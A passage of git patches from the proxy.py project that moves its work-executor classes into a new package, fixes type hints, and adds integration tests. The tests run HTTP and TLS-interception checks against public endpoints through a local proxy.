import Proxy from proxy.common.types import Readables, Writables, SelectableEvents -from proxy.core.acceptor import Work +from proxy.core.work import Work from proxy.core.connection import TcpClientConnection diff --git a/proxy/core/acceptor/__init__.py b/proxy/core/acceptor/__init__.py index bd39723594..a7cd9b1bce 100644 --- a/proxy/core/acceptor/__init__.py +++ b/proxy/core/acceptor/__init__.py @@ -12,22 +12,12 @@ pre """ +from .listener import Listener from .acceptor import Acceptor from .pool import AcceptorPool -from .work import Work -from .threadless import Threadless -from .remote import RemoteExecutor -from .local import LocalExecutor -from .executors import ThreadlessPool -from .listener import Listener __all__ = [ + 'Listener', 'Acceptor', 'AcceptorPool', - 'Work', - 'Threadless', - 'RemoteExecutor', - 'LocalExecutor', - 'ThreadlessPool', - 'Listener', ] diff --git a/proxy/core/acceptor/acceptor.py b/proxy/core/acceptor/acceptor.py index 8efd1f0bc4..8d71f7228e 100644 --- a/proxy/core/acceptor/acceptor.py +++ b/proxy/core/acceptor/acceptor.py @@ -32,8 +32,7 @@ from ..event import EventQueue -from .local import LocalExecutor -from .executors import ThreadlessPool +from ..work import LocalExecutor, delegate_work_to_pool, start_threaded_work logger = logging.getLogger(__name__) @@ -72,11 +71,11 @@ def __init__( idd: int, fd_queue: connection.Connection, flags: argparse.Namespace, - lock: multiprocessing.synchronize.Lock, + lock: 'multiprocessing.synchronize.Lock', # semaphore: multiprocessing.synchronize.Semaphore, executor_queues: List[connection.Connection], executor_pids: List[int], - executor_locks: List[multiprocessing.synchronize.Lock], + executor_locks: List['multiprocessing.synchronize.Lock'], event_queue: Optional[EventQueue] = None, ) -> None: super().__init__() @@ -214,7 +213,7 @@ def _work(self, conn: socket.socket, addr: Optional[Tuple[str, int]]) -> None: # 1st workers. To randomize, we offset index by idd. index = (self._total + self.idd) % self.flags.num_workers thread = threading.Thread( - target=ThreadlessPool.delegate, + target=delegate_work_to_pool, args=( self.executor_pids[index], self.executor_queues[index], @@ -231,7 +230,7 @@ def _work(self, conn: socket.socket, addr: Optional[Tuple[str, int]]) -> None: ), ) else: - _, thread = ThreadlessPool.start_threaded_work( + _, thread = start_threaded_work( self.flags, conn, addr, diff --git a/proxy/core/acceptor/pool.py b/proxy/core/acceptor/pool.py index a5ae95329a..745d672e38 100644 --- a/proxy/core/acceptor/pool.py +++ b/proxy/core/acceptor/pool.py @@ -59,7 +59,7 @@ class AcceptorPool: while True: time.sleep(1) - `flags.work_klass` must implement `work.Work` class. + `flags.work_klass` must implement :py:class:`~proxy.core.work.Work` class. """ def __init__( @@ -68,7 +68,7 @@ def __init__( listener: Listener, executor_queues: List[connection.Connection], executor_pids: List[int], - executor_locks: List[multiprocessing.synchronize.Lock], + executor_locks: List['multiprocessing.synchronize.Lock'], event_queue: Optional[EventQueue] = None, ) -> None: self.flags = flags @@ -77,7 +77,7 @@ def __init__( # Available executors self.executor_queues: List[connection.Connection] = executor_queues self.executor_pids: List[int] = executor_pids - self.executor_locks: List[multiprocessing.synchronize.Lock] = executor_locks + self.executor_locks: List['multiprocessing.synchronize.Lock'] = executor_locks # Eventing core queue self.event_queue: Optional[EventQueue] = event_queue # Acceptor process instances diff --git a/proxy/core/base/tcp_server.py b/proxy/core/base/tcp_server.py index e4e6c89d24..edc5361510 100644 --- a/proxy/core/base/tcp_server.py +++ b/proxy/core/base/tcp_server.py @@ -18,7 +18,7 @@ from abc import abstractmethod from typing import Any, Optional -from ...core.acceptor import Work +from ...core.work import Work from ...core.connection import TcpClientConnection from ...common.types import Readables, SelectableEvents, Writables diff --git a/proxy/core/connection/pool.py b/proxy/core/connection/pool.py index 0c9a108e7e..2be383d58e 100644 --- a/proxy/core/connection/pool.py +++ b/proxy/core/connection/pool.py @@ -21,7 +21,7 @@ from ...common.flag import flags from ...common.types import Readables, SelectableEvents, Writables -from ..acceptor.work import Work +from ..work import Work from .server import TcpServerConnection diff --git a/proxy/core/work/__init__.py b/proxy/core/work/__init__.py new file mode 100644 index 0000000000..403978ff17 --- /dev/null +++ b/proxy/core/work/__init__.py @@ -0,0 +1,31 @@ +# -*- coding: utf-8 -*- +""" + proxy.py + ~~~~~~~~ + ⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on + Network monitoring, controls & Application development, testing, debugging. + + :copyright: (c) 2013-present by Abhinav Singh and contributors. + :license: BSD, see LICENSE for more details. + + .. spelling:: + + pre +""" +from .work import Work +from .threadless import Threadless +from .remote import RemoteExecutor +from .local import LocalExecutor +from .pool import ThreadlessPool +from .delegate import delegate_work_to_pool +from .threaded import start_threaded_work + +__all__ = [ + 'Work', + 'Threadless', + 'RemoteExecutor', + 'LocalExecutor', + 'ThreadlessPool', + 'delegate_work_to_pool', + 'start_threaded_work', +] diff --git a/proxy/core/work/delegate.py b/proxy/core/work/delegate.py new file mode 100644 index 0000000000..2e5325fb86 --- /dev/null +++ b/proxy/core/work/delegate.py @@ -0,0 +1,40 @@ +# -*- coding: utf-8 -*- +""" + proxy.py + ~~~~~~~~ + ⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on + Network monitoring, controls & Application development, testing, debugging. + + :copyright: (c) 2013-present by Abhinav Singh and contributors. + :license: BSD, see LICENSE for more details. +""" +from typing import TYPE_CHECKING, Optional, Tuple +from multiprocessing.reduction import send_handle + +if TYPE_CHECKING: + import socket + import multiprocessing + from multiprocessing import connection + + +def delegate_work_to_pool( + worker_pid: int, + work_queue: 'connection.Connection', + work_lock: 'multiprocessing.synchronize.Lock', + conn: 'socket.socket', + addr: Optional[Tuple[str, int]], + unix_socket_path: Optional[str] = None, +) -> None: + """Utility method to delegate a work to threadless executor pool.""" + with work_lock: + # Accepted client address is empty string for + # unix socket domain, avoid sending empty string + # for optimization. + if not unix_socket_path: + work_queue.send(addr) + send_handle( + work_queue, + conn.fileno(), + worker_pid, + ) + conn.close() diff --git a/proxy/core/acceptor/local.py b/proxy/core/work/local.py similarity index 100% rename from proxy/core/acceptor/local.py rename to proxy/core/work/local.py diff --git a/proxy/core/acceptor/executors.py b/proxy/core/work/pool.py similarity index 65% rename from proxy/core/acceptor/executors.py rename to proxy/core/work/pool.py index d0c5a912c3..197cceeb14 100644 --- a/proxy/core/acceptor/executors.py +++ b/proxy/core/work/pool.py @@ -8,22 +8,17 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ -import socket import logging import argparse -import threading import multiprocessing from multiprocessing import connection -from multiprocessing.reduction import send_handle -from typing import Any, Optional, List, Tuple +from typing import Any, Optional, List -from .work import Work from .remote import RemoteExecutor -from ..connection import TcpClientConnection -from ..event import EventQueue, eventNames +from ..event import EventQueue from ...common.flag import flags from ...common.constants import DEFAULT_NUM_WORKERS, DEFAULT_THREADLESS @@ -83,7 +78,7 @@ def __init__( # Threadless worker communication states self.work_queues: List[connection.Connection] = [] self.work_pids: List[int] = [] - self.work_locks: List[multiprocessing.synchronize.Lock] = [] + self.work_locks: List['multiprocessing.synchronize.Lock'] = [] # List of threadless workers self._workers: List[RemoteExecutor] = [] self._processes: List[multiprocessing.Process] = [] @@ -95,59 +90,6 @@ def __enter__(self) -> 'ThreadlessPool': def __exit__(self, *args: Any) -> None: self.shutdown() - @staticmethod - def delegate( - worker_pid: int, - work_queue: connection.Connection, - work_lock: multiprocessing.synchronize.Lock, - conn: socket.socket, - addr: Optional[Tuple[str, int]], - unix_socket_path: Optional[str] = None, - ) -> None: - """Utility method to delegate a work to threadless executor pool.""" - with work_lock: - # Accepted client address is empty string for - # unix socket domain, avoid sending empty string - # for optimization. - if not unix_socket_path: - work_queue.send(addr) - send_handle( - work_queue, - conn.fileno(), - worker_pid, - ) - conn.close() - - @staticmethod - def start_threaded_work( - flags: argparse.Namespace, - conn: socket.socket, - addr: Optional[Tuple[str, int]], - event_queue: Optional[EventQueue] = None, - publisher_id: Optional[str] = None, - ) -> Tuple[Work[TcpClientConnection], threading.Thread]: - """Utility method to start a work in a new thread.""" - work = flags.work_klass( - TcpClientConnection(conn, addr), - flags=flags, - event_queue=event_queue, - upstream_conn_pool=None, - ) - # TODO: Keep reference to threads and join during shutdown. - # This will ensure connections are not abruptly closed on shutdown - # for threaded execution mode. - thread = threading.Thread(target=work.run) - thread.daemon = True - thread.start() - work.publish_event( - event_name=eventNames.WORK_STARTED, - event_payload={'fileno': conn.fileno(), 'addr': addr}, - publisher_id=publisher_id or 'thread#{0}'.format( - thread.ident, - ), - ) - return (work, thread) - def setup(self) -> None: """Setup threadless processes.""" if self.flags.threadless: diff --git a/proxy/core/acceptor/remote.py b/proxy/core/work/remote.py similarity index 100% rename from proxy/core/acceptor/remote.py rename to proxy/core/work/remote.py diff --git a/proxy/core/work/threaded.py b/proxy/core/work/threaded.py new file mode 100644 index 0000000000..7404b44e7a --- /dev/null +++ b/proxy/core/work/threaded.py @@ -0,0 +1,49 @@ +# -*- coding: utf-8 -*- +""" + proxy.py + ~~~~~~~~ + ⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on + Network monitoring, controls & Application development, testing, debugging. + + :copyright: (c) 2013-present by Abhinav Singh and contributors. + :license: BSD, see LICENSE for more details. +""" +import socket +import argparse +import threading +from typing import Optional, Tuple + +from .work import Work + +from ..connection import TcpClientConnection +from ..event import EventQueue, eventNames + + +def start_threaded_work( + flags: argparse.Namespace, + conn: socket.socket, + addr: Optional[Tuple[str, int]], + event_queue: Optional[EventQueue] = None, + publisher_id: Optional[str] = None, +) -> Tuple[Work[TcpClientConnection], threading.Thread]: + """Utility method to start a work in a new thread.""" + work = flags.work_klass( + TcpClientConnection(conn, addr), + flags=flags, + event_queue=event_queue, + upstream_conn_pool=None, + ) + # TODO: Keep reference to threads and join during shutdown. + # This will ensure connections are not abruptly closed on shutdown + # for threaded execution mode. + thread = threading.Thread(target=work.run) + thread.daemon = True + thread.start() + work.publish_event( + event_name=eventNames.WORK_STARTED, + event_payload={'fileno': conn.fileno(), 'addr': addr}, + publisher_id=publisher_id or 'thread#{0}'.format( + thread.ident, + ), + ) + return (work, thread) diff --git a/proxy/core/acceptor/threadless.py b/proxy/core/work/threadless.py similarity index 99% rename from proxy/core/acceptor/threadless.py rename to proxy/core/work/threadless.py index e089ef26c2..5abe0b1000 100644 --- a/proxy/core/acceptor/threadless.py +++ b/proxy/core/work/threadless.py @@ -260,7 +260,7 @@ async def _selected_events(self) -> Tuple[ Returned boolean value indicates whether there is a newly accepted work waiting to be received and queued for processing. This is only applicable when - :class:`~proxy.core.acceptor.threadless.Threadless.work_queue_fileno` + :class:`~proxy.core.work.threadless.Threadless.work_queue_fileno` returns a valid fd. """ assert self.selector is not None diff --git a/proxy/core/acceptor/work.py b/proxy/core/work/work.py similarity index 100% rename from proxy/core/acceptor/work.py rename to proxy/core/work/work.py diff --git a/proxy/proxy.py b/proxy/proxy.py index 42830f2071..b37e80a812 100644 --- a/proxy/proxy.py +++ b/proxy/proxy.py @@ -16,8 +16,10 @@ from typing import List, Optional, Any -from .core.acceptor import AcceptorPool, ThreadlessPool, Listener +from .core.work import ThreadlessPool from .core.event import EventManager +from .core.acceptor import AcceptorPool, Listener + from .common.utils import bytes_ from .common.flag import FlagParser, flags from .common.constants import DEFAULT_LOCAL_EXECUTOR, DEFAULT_LOG_FILE, DEFAULT_LOG_FORMAT, DEFAULT_LOG_LEVEL, IS_WINDOWS diff --git a/tests/core/test_acceptor.py b/tests/core/test_acceptor.py index 8f7a529b6a..b18f640fa7 100644 --- a/tests/core/test_acceptor.py +++ b/tests/core/test_acceptor.py @@ -63,7 +63,7 @@ def test_continues_when_no_events( sock.accept.assert_not_called() self.flags.work_klass.assert_not_called() - @mock.patch('proxy.core.acceptor.executors.TcpClientConnection') + @mock.patch('proxy.core.work.threaded.TcpClientConnection') @mock.patch('threading.Thread') @mock.patch('selectors.DefaultSelector') @mock.patch('socket.fromfd') From 41ba50443de5f0094f7783b952260895528668fc Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Thu, 13 Jan 2022 18:55:07 +0530 Subject: [PATCH 32/38] Type fixes (#979) * Type fixes * Type fix * Py class role * unused any import --- .gitignore | 1 - codecov.yml | 1 + docs/conf.py | 1 + proxy/core/work/pool.py | 10 +++++----- proxy/core/work/remote.py | 1 - proxy/core/work/threaded.py | 8 +++++--- proxy/core/work/threadless.py | 14 +++++++++----- 7 files changed, 21 insertions(+), 15 deletions(-) diff --git a/.gitignore b/.gitignore index 09bd936373..410b222657 100644 --- a/.gitignore +++ b/.gitignore @@ -31,5 +31,4 @@ htmlcov dist build -proxy/public profile.svg diff --git a/codecov.yml b/codecov.yml index d120bd4956..904bc7715e 100644 --- a/codecov.yml +++ b/codecov.yml @@ -12,6 +12,7 @@ coverage: # target: 100% # we always want 100% coverage here paths: - "tests/" # only include coverage in "tests/" folder + threshold: 1% lib: # declare a new status context "lib" paths: - "!tests/" # remove all files in "tests/" diff --git a/docs/conf.py b/docs/conf.py index 2bd5ff7d5e..8543ee8014 100644 --- a/docs/conf.py +++ b/docs/conf.py @@ -312,6 +312,7 @@ (_py_class_role, 'Work'), (_py_class_role, 'proxy.core.acceptor.work.Work'), (_py_class_role, 'connection.Connection'), + (_py_class_role, 'EventQueue'), (_py_obj_role, 'proxy.core.work.threadless.T'), (_py_obj_role, 'proxy.core.work.work.T'), ] diff --git a/proxy/core/work/pool.py b/proxy/core/work/pool.py index 197cceeb14..066b644124 100644 --- a/proxy/core/work/pool.py +++ b/proxy/core/work/pool.py @@ -13,16 +13,16 @@ import multiprocessing from multiprocessing import connection - -from typing import Any, Optional, List +from typing import TYPE_CHECKING, Any, Optional, List from .remote import RemoteExecutor -from ..event import EventQueue - from ...common.flag import flags from ...common.constants import DEFAULT_NUM_WORKERS, DEFAULT_THREADLESS +if TYPE_CHECKING: + from ..event import EventQueue + logger = logging.getLogger(__name__) @@ -71,7 +71,7 @@ class ThreadlessPool: def __init__( self, flags: argparse.Namespace, - event_queue: Optional[EventQueue] = None, + event_queue: Optional['EventQueue'] = None, ) -> None: self.flags = flags self.event_queue = event_queue diff --git a/proxy/core/work/remote.py b/proxy/core/work/remote.py index 8fe4ed453a..bc16e83e40 100644 --- a/proxy/core/work/remote.py +++ b/proxy/core/work/remote.py @@ -12,7 +12,6 @@ import logging from typing import Optional, Any - from multiprocessing import connection from multiprocessing.reduction import recv_handle diff --git a/proxy/core/work/threaded.py b/proxy/core/work/threaded.py index 7404b44e7a..b9e9c91326 100644 --- a/proxy/core/work/threaded.py +++ b/proxy/core/work/threaded.py @@ -11,13 +11,15 @@ import socket import argparse import threading -from typing import Optional, Tuple -from .work import Work +from typing import TYPE_CHECKING, Optional, Tuple from ..connection import TcpClientConnection from ..event import EventQueue, eventNames +if TYPE_CHECKING: + from .work import Work + def start_threaded_work( flags: argparse.Namespace, @@ -25,7 +27,7 @@ def start_threaded_work( addr: Optional[Tuple[str, int]], event_queue: Optional[EventQueue] = None, publisher_id: Optional[str] = None, -) -> Tuple[Work[TcpClientConnection], threading.Thread]: +) -> Tuple['Work[TcpClientConnection]', threading.Thread]: """Utility method to start a work in a new thread.""" work = flags.work_klass( TcpClientConnection(conn, addr), diff --git a/proxy/core/work/threadless.py b/proxy/core/work/threadless.py index 5abe0b1000..d56cfe27e1 100644 --- a/proxy/core/work/threadless.py +++ b/proxy/core/work/threadless.py @@ -18,7 +18,7 @@ import multiprocessing from abc import abstractmethod, ABC -from typing import Any, Dict, Optional, Tuple, List, Set, Generic, TypeVar, Union +from typing import TYPE_CHECKING, Dict, Optional, Tuple, List, Set, Generic, TypeVar, Union from ...common.logger import Logger from ...common.types import Readables, SelectableEvents, Writables @@ -26,9 +26,13 @@ from ...common.constants import DEFAULT_WAIT_FOR_TASKS_TIMEOUT from ..connection import TcpClientConnection, UpstreamConnectionPool -from ..event import eventNames, EventQueue +from ..event import eventNames -from .work import Work +if TYPE_CHECKING: + from typing import Any + + from ..event import EventQueue + from .work import Work T = TypeVar('T') @@ -62,7 +66,7 @@ def __init__( iid: str, work_queue: T, flags: argparse.Namespace, - event_queue: Optional[EventQueue] = None, + event_queue: Optional['EventQueue'] = None, ) -> None: super().__init__() self.iid = iid @@ -71,7 +75,7 @@ def __init__( self.event_queue = event_queue self.running = multiprocessing.Event() - self.works: Dict[int, Work[Any]] = {} + self.works: Dict[int, 'Work[Any]'] = {} self.selector: Optional[selectors.DefaultSelector] = None # If we remove single quotes for typing hint below, # runtime exceptions will occur for < Python 3.9. From 8a289102249273ef5e386c074f4162758f8b9317 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Fri, 14 Jan 2022 00:08:12 +0530 Subject: [PATCH 33/38] [TlsInterception] GHA integration tests (#981) * Add TLS interception integration tests * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fixture to gen certificate once for the `test_integration` module * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Use https endpoints in tls interception tests * Fix modify post data integration test * Only start 3 acceptor & 3 workers during integration run * disable chunk response Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- tests/integration/test_integration.py | 118 ++++++++++++++-- tests/integration/test_integration.sh | 10 +- tests/integration/test_interception.sh | 133 ++++++++++++++++++ .../integration/test_modify_chunk_response.sh | 85 +++++++++++ tests/integration/test_modify_post_data.sh | 98 +++++++++++++ 5 files changed, 435 insertions(+), 9 deletions(-) create mode 100755 tests/integration/test_interception.sh create mode 100755 tests/integration/test_modify_chunk_response.sh create mode 100755 tests/integration/test_modify_post_data.sh diff --git a/tests/integration/test_integration.py b/tests/integration/test_integration.py index ef98d52616..a1270f2410 100644 --- a/tests/integration/test_integration.py +++ b/tests/integration/test_integration.py @@ -11,16 +11,70 @@ Test the simplest proxy use scenario for smoke. """ import time +import pytest import tempfile -from typing import Any, Generator + from pathlib import Path +from typing import Any, Generator from subprocess import Popen, check_output -import pytest - from proxy.common.constants import IS_WINDOWS +TLS_INTERCEPTION_FLAGS = ' '.join(( + '--ca-cert-file', 'ca-cert.pem', + '--ca-key-file', 'ca-key.pem', + '--ca-signing-key', 'ca-signing-key.pem', +)) + +PROXY_PY_FLAGS_INTEGRATION = ( + ('--threadless'), + ('--threadless --local-executor 0'), + ('--threaded'), +) + +PROXY_PY_FLAGS_TLS_INTERCEPTION = ( + ('--threadless ' + TLS_INTERCEPTION_FLAGS), + ('--threadless --local-executor 0 ' + TLS_INTERCEPTION_FLAGS), + ('--threaded ' + TLS_INTERCEPTION_FLAGS), +) + +PROXY_PY_FLAGS_MODIFY_CHUNK_RESPONSE_PLUGIN = ( + ( + '--threadless --plugin proxy.plugin.ModifyChunkResponsePlugin ' + + TLS_INTERCEPTION_FLAGS + ), + ( + '--threadless --local-executor 0 --plugin proxy.plugin.ModifyChunkResponsePlugin ' + + TLS_INTERCEPTION_FLAGS + ), + ( + '--threaded --plugin proxy.plugin.ModifyChunkResponsePlugin ' + + TLS_INTERCEPTION_FLAGS + ), +) + +PROXY_PY_FLAGS_MODIFY_POST_DATA_PLUGIN = ( + ( + '--threadless --plugin proxy.plugin.ModifyPostDataPlugin ' + + TLS_INTERCEPTION_FLAGS + ), + ( + '--threadless --local-executor 0 --plugin proxy.plugin.ModifyPostDataPlugin ' + + TLS_INTERCEPTION_FLAGS + ), + ( + '--threaded --plugin proxy.plugin.ModifyPostDataPlugin ' + + TLS_INTERCEPTION_FLAGS + ), +) + + +@pytest.fixture(scope='session', autouse=True) # type: ignore[misc] +def _gen_ca_certificates() -> None: + check_output(['make', 'ca-certificates']) + + # FIXME: Ignore is necessary for as long as pytest hasn't figured out # FIXME: typing for their fixtures. # Refs: @@ -42,6 +96,8 @@ def proxy_py_subprocess(request: Any) -> Generator[int, None, None]: '--port', '0', '--port-file', str(port_file), '--enable-web-server', + '--num-acceptors', '3', + '--num-workers', '3', ) + tuple(request.param.split()) proxy_proc = Popen(proxy_cmd) # Needed because port file might not be available immediately @@ -62,11 +118,7 @@ def proxy_py_subprocess(request: Any) -> Generator[int, None, None]: @pytest.mark.smoke # type: ignore[misc] @pytest.mark.parametrize( 'proxy_py_subprocess', - ( - ('--threadless'), - ('--threadless --local-executor 0'), - ('--threaded'), - ), + PROXY_PY_FLAGS_INTEGRATION, indirect=True, ) # type: ignore[misc] @pytest.mark.skipif( @@ -78,3 +130,53 @@ def test_integration(proxy_py_subprocess: int) -> None: this_test_module = Path(__file__) shell_script_test = this_test_module.with_suffix('.sh') check_output([str(shell_script_test), str(proxy_py_subprocess)]) + + +@pytest.mark.smoke # type: ignore[misc] +@pytest.mark.parametrize( + 'proxy_py_subprocess', + PROXY_PY_FLAGS_TLS_INTERCEPTION, + indirect=True, +) # type: ignore[misc] +@pytest.mark.skipif( + IS_WINDOWS, + reason='OSError: [WinError 193] %1 is not a valid Win32 application', +) # type: ignore[misc] +def test_integration_with_interception_flags(proxy_py_subprocess: int) -> None: + """An acceptance test for TLS interception using ``curl`` through proxy.py.""" + shell_script_test = Path(__file__).parent / 'test_interception.sh' + check_output([str(shell_script_test), str(proxy_py_subprocess)]) + + +# @pytest.mark.smoke # type: ignore[misc] +# @pytest.mark.parametrize( +# 'proxy_py_subprocess', +# PROXY_PY_FLAGS_MODIFY_CHUNK_RESPONSE_PLUGIN, +# indirect=True, +# ) # type: ignore[misc] +# @pytest.mark.skipif( +# IS_WINDOWS, +# reason='OSError: [WinError 193] %1 is not a valid Win32 application', +# ) # type: ignore[misc] +# def test_modify_chunk_response_integration(proxy_py_subprocess: int) -> None: +# """An acceptance test for :py:class:`~proxy.plugin.ModifyChunkResponsePlugin` +# interception using ``curl`` through proxy.py.""" +# shell_script_test = Path(__file__).parent / 'test_modify_chunk_response.sh' +# check_output([str(shell_script_test), str(proxy_py_subprocess)]) + + +@pytest.mark.smoke # type: ignore[misc] +@pytest.mark.parametrize( + 'proxy_py_subprocess', + PROXY_PY_FLAGS_MODIFY_POST_DATA_PLUGIN, + indirect=True, +) # type: ignore[misc] +@pytest.mark.skipif( + IS_WINDOWS, + reason='OSError: [WinError 193] %1 is not a valid Win32 application', +) # type: ignore[misc] +def test_modify_post_response_integration(proxy_py_subprocess: int) -> None: + """An acceptance test for :py:class:`~proxy.plugin.ModifyPostDataPlugin` + interception using ``curl`` through proxy.py.""" + shell_script_test = Path(__file__).parent / 'test_modify_post_data.sh' + check_output([str(shell_script_test), str(proxy_py_subprocess)]) diff --git a/tests/integration/test_integration.sh b/tests/integration/test_integration.sh index 64cc3ae007..77c6cc8eba 100755 --- a/tests/integration/test_integration.sh +++ b/tests/integration/test_integration.sh @@ -1,5 +1,13 @@ #!/bin/bash - +# +# proxy.py +# ~~~~~~~~ +# ⚡⚡⚡ Fast, Lightweight, Programmable, TLS interception capable +# proxy server for Application debugging, testing and development. +# +# :copyright: (c) 2013-present by Abhinav Singh and contributors. +# :license: BSD, see LICENSE for more details. +# # TODO: Option to also shutdown proxy.py after # integration testing is done. At least on # macOS and ubuntu, pkill and kill commands diff --git a/tests/integration/test_interception.sh b/tests/integration/test_interception.sh new file mode 100755 index 0000000000..97f480780e --- /dev/null +++ b/tests/integration/test_interception.sh @@ -0,0 +1,133 @@ +#!/bin/bash +# +# proxy.py +# ~~~~~~~~ +# ⚡⚡⚡ Fast, Lightweight, Programmable, TLS interception capable +# proxy server for Application debugging, testing and development. +# +# :copyright: (c) 2013-present by Abhinav Singh and contributors. +# :license: BSD, see LICENSE for more details. +# +# TODO: Option to also shutdown proxy.py after +# integration testing is done. At least on +# macOS and ubuntu, pkill and kill commands +# will do the job. +# +# For github action, we simply bank upon GitHub +# to clean up any background process including +# proxy.py + +PROXY_PY_PORT=$1 +if [[ -z "$PROXY_PY_PORT" ]]; then + echo "PROXY_PY_PORT required as argument." + exit 1 +fi + +PROXY_URL="127.0.0.1:$PROXY_PY_PORT" + +# Wait for server to come up +WAIT_FOR_PROXY="lsof -i TCP:$PROXY_PY_PORT | wc -l | tr -d ' '" +while true; do + if [[ $WAIT_FOR_PORT == 0 ]]; then + echo "Waiting for proxy..." + sleep 1 + else + break + fi +done + +# Wait for http proxy and web server to start +while true; do + curl -v \ + --max-time 1 \ + --connect-timeout 1 \ + -x $PROXY_URL \ + --cacert ca-cert.pem \ + http://$PROXY_URL/ 2>/dev/null + if [[ $? == 0 ]]; then + break + fi + echo "Waiting for web server to start accepting requests..." + sleep 1 +done + +verify_response() { + if [ "$1" == "" ]; + then + echo "Empty response"; + return 1; + else + if [ "$1" == "$2" ]; + then + echo "Ok"; + return 0; + else + echo "Invalid response: '$1', expected: '$2'"; + return 1; + fi + fi; +} + +# Check if proxy was started with integration +# testing web server plugin. If detected, use +# internal web server for integration testing. + +# If integration testing plugin is not found, +# detect if we have internet access. If we do, +# then use httpbin.org for integration testing. +read -r -d '' ROBOTS_RESPONSE << EOM +User-agent: * +Disallow: /deny +EOM + +echo "[Test HTTP Request via Proxy]" +CMD="curl -v -x $PROXY_URL --cacert ca-cert.pem http://httpbin.org/robots.txt" +RESPONSE=$($CMD 2> /dev/null) +verify_response "$RESPONSE" "$ROBOTS_RESPONSE" +VERIFIED1=$? + +echo "[Test HTTPS Request via Proxy]" +CMD="curl -v -x $PROXY_URL --cacert ca-cert.pem https://httpbin.org/robots.txt" +RESPONSE=$($CMD 2> /dev/null) +verify_response "$RESPONSE" "$ROBOTS_RESPONSE" +VERIFIED2=$? + +echo "[Test Internal Web Server via Proxy]" +curl -v \ + -x $PROXY_URL \ + --cacert ca-cert.pem \ + http://$PROXY_URL/ +VERIFIED3=$? + +SHASUM=sha256sum +if [ "$(uname)" = "Darwin" ]; +then + SHASUM="shasum -a 256" +fi + +echo "[Test Download File Hash Verifies 1]" +touch downloaded.hash +echo "3d1921aab49d3464a712c1c1397b6babf8b461a9873268480aa8064da99441bc -" > downloaded.hash +curl -vL \ + -o downloaded.whl \ + -x $PROXY_URL \ + --cacert ca-cert.pem \ + https://files.pythonhosted.org/packages/88/78/e642316313b1cd6396e4b85471a316e003eff968f29773e95ea191ea1d08/proxy.py-2.4.0rc4-py3-none-any.whl#sha256=3d1921aab49d3464a712c1c1397b6babf8b461a9873268480aa8064da99441bc +cat downloaded.whl | $SHASUM -c downloaded.hash +VERIFIED4=$? +rm downloaded.whl downloaded.hash + +echo "[Test Download File Hash Verifies 2]" +touch downloaded.hash +echo "077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8 -" > downloaded.hash +curl -vL \ + -o downloaded.whl \ + -x $PROXY_URL \ + --cacert ca-cert.pem \ + https://files.pythonhosted.org/packages/20/9a/e5d9ec41927401e41aea8af6d16e78b5e612bca4699d417f646a9610a076/Jinja2-3.0.3-py3-none-any.whl#sha256=077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8 +cat downloaded.whl | $SHASUM -c downloaded.hash +VERIFIED5=$? +rm downloaded.whl downloaded.hash + +EXIT_CODE=$(( $VERIFIED1 || $VERIFIED2 || $VERIFIED3 || $VERIFIED4 || $VERIFIED5 )) +exit $EXIT_CODE diff --git a/tests/integration/test_modify_chunk_response.sh b/tests/integration/test_modify_chunk_response.sh new file mode 100755 index 0000000000..be66555b3f --- /dev/null +++ b/tests/integration/test_modify_chunk_response.sh @@ -0,0 +1,85 @@ +#!/bin/bash +# +# proxy.py +# ~~~~~~~~ +# ⚡⚡⚡ Fast, Lightweight, Programmable, TLS interception capable +# proxy server for Application debugging, testing and development. +# +# :copyright: (c) 2013-present by Abhinav Singh and contributors. +# :license: BSD, see LICENSE for more details. +# +# TODO: Option to also shutdown proxy.py after +# integration testing is done. At least on +# macOS and ubuntu, pkill and kill commands +# will do the job. +# +# For github action, we simply bank upon GitHub +# to clean up any background process including +# proxy.py + +PROXY_PY_PORT=$1 +if [[ -z "$PROXY_PY_PORT" ]]; then + echo "PROXY_PY_PORT required as argument." + exit 1 +fi + +PROXY_URL="127.0.0.1:$PROXY_PY_PORT" + +# Wait for server to come up +WAIT_FOR_PROXY="lsof -i TCP:$PROXY_PY_PORT | wc -l | tr -d ' '" +while true; do + if [[ $WAIT_FOR_PORT == 0 ]]; then + echo "Waiting for proxy..." + sleep 1 + else + break + fi +done + +# Wait for http proxy and web server to start +while true; do + curl -v \ + --max-time 1 \ + --connect-timeout 1 \ + -x $PROXY_URL \ + --cacert ca-cert.pem \ + http://$PROXY_URL/ 2>/dev/null + if [[ $? == 0 ]]; then + break + fi + echo "Waiting for web server to start accepting requests..." + sleep 1 +done + +verify_response() { + if [ "$1" == "" ]; + then + echo "Empty response"; + return 1; + else + if [ "$1" == "$2" ]; + then + echo "Ok"; + return 0; + else + echo "Invalid response: '$1', expected: '$2'"; + return 1; + fi + fi; +} + +read -r -d '' MODIFIED_CHUNK_RESPONSE << EOM +modify +chunk +response +plugin +EOM + +echo "[Test ModifyChunkResponsePlugin]" +CMD="curl -v -x $PROXY_URL --cacert ca-cert.pem https://httpbin.org/stream/5" +RESPONSE=$($CMD 2> /dev/null) +verify_response "$RESPONSE" "$MODIFIED_CHUNK_RESPONSE" +VERIFIED1=$? + +EXIT_CODE=$(( $VERIFIED1 )) +exit $EXIT_CODE diff --git a/tests/integration/test_modify_post_data.sh b/tests/integration/test_modify_post_data.sh new file mode 100755 index 0000000000..60b270ff63 --- /dev/null +++ b/tests/integration/test_modify_post_data.sh @@ -0,0 +1,98 @@ +#!/bin/bash +# +# proxy.py +# ~~~~~~~~ +# ⚡⚡⚡ Fast, Lightweight, Programmable, TLS interception capable +# proxy server for Application debugging, testing and development. +# +# :copyright: (c) 2013-present by Abhinav Singh and contributors. +# :license: BSD, see LICENSE for more details. +# +# TODO: Option to also shutdown 